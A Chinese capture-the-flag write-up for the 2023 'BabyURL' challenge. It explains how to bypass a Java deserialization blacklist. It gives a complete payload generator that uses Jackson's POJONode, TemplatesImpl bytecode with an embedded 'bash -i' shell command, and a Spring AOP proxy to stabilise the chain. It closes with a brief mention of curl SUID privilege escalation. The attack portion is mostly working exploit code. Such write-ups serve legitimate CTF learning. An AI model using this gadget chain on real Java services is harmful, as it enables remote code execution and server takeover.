2023巅峰极客 BabyURL
附件下载
1
| docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23}" lxxxin/dfjk2023_babyurl
|
这道题有两种解法,一个是SignedObject二次反序列化,一个是绕过黑名单打TemplatesImpl,最近在学习后者因此这里只提及后者做法
拿到反编译后的代码可以看到整体结构比较简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @GetMapping({"/hack"}) @ResponseBody public String hack(@RequestParam String payload) { byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8)); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
try { ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream); URLHelper o = (URLHelper)ois.readObject(); System.out.println(o); System.out.println(o.url); return "ok!"; } catch (Exception var6) { Exception e = var6; e.printStackTrace(); return e.toString(); } }
|
这里重写了ObjectInputStream类,自定义了新的反序列化规则,并构造了一个反序列化前缀黑名单
1 2 3 4 5
| java.net.InetAddress org.apache.commons.collections.Transformer org.apache.commons.collections.functors com.yancao.ctf.bean.URLVisiter com.yancao.ctf.bean.URLHelper
|

从依赖包中可以看到没有额外依赖库可以使用,但Jackson这个依赖是存在这个spring-boot-starter-web
依赖中的

由于TemplatesImpl 是 JDK 中的原生类,因此我们可以通过Jackson库中的POJONode
类的toString()
方法触发触发TemplatesImpl的getOutputProperties()
方法,而BadAttributeValueExpException
在反序列化时会调用 toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| public class Main {
public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain)null); } catch (Exception var11) { }
byte[] code = getTemplates(); byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "evil"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", codes);
POJONode node = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
System.out.println(serial(val)); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"bash -c {echo,}|{base64,-d}|{bash,-i}\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|
解决Jackson反序例化链子的不稳定性
但我们会发现报错


这与Jackson反序例化链子的不稳定性有关,从JSON1链中学习处理JACKSON链的不稳定性
在com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException { BeanPropertyWriter[] props; if (this._filteredProps != null && provider.getActiveView() != null) { props = this._filteredProps; } else { props = this._props; }
int i = 0;
try { for(int len = props.length; i < len; ++i) { BeanPropertyWriter prop = props[i]; if (prop != null) { prop.serializeAsField(bean, gen, provider); } }
if (this._anyGetterWriter != null) { this._anyGetterWriter.getAndSerialize(bean, gen, provider); } } catch (Exception var9) { String name = i == props.length ? "[anySetter]" : props[i].getName(); this.wrapAndThrow(provider, var9, bean, name); } catch (StackOverflowError var10) { StackOverflowError e = var10; DatabindException mapE = new JsonMappingException(gen, "Infinite recursion (StackOverflowError)", e); String name = i == props.length ? "[anySetter]" : props[i].getName(); mapE.prependPath(bean, name); throw mapE; }
}
|
Jackson在序列化 TemplatesImpl
时会尝试序列化其所有属性,这里我们用java原生反序列化包含Jackson的类,并在这里下断点,当JVM尝试重建这个POJONode对象时,会调用Jackson的序列化相关代码,因此触发了 BeanSerializerBase#serializeFields
方法;
此时 stylesheetDOM
在 outputProperties
之前
1 2 3
| transletindex stylesheetDOM outputProperties
|
所以 getStylesheetDOM
会先于 getOutputProperties
触发。当 getStylesheetDOM
方法先被触发时,由于 _sdom
成员为空,会导致空指针报错,反序列化攻击失败
因此这里的解决办法是通过Spring AOP的JDK动态代理来包装 TemplatesImpl 对象
1 2 3 4 5 6 7 8 9
| Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode node = new POJONode(proxyObj);
|
首先获取动态代理的实现类,创建AdvisedSupport实例,设置目标对象为我们的templates(TemplatesImpl实例),而我们之前POJONode
现在封装了这个代理对象,这个代理对象的toString()
方法会在BadAttributeValueExpException
反序列化时被触发,当代理对象的任何方法被调用时,都会转到这个handler的 invoke 方法,invoke 方法会将调用转发给目标对象(这里是 TemplatesImpl),最终触发其getter方法

可以看到现在只有一个 props
:outputProperties
现在我们就可以弹shell了

这里还得提权,一个curl的SUID提权

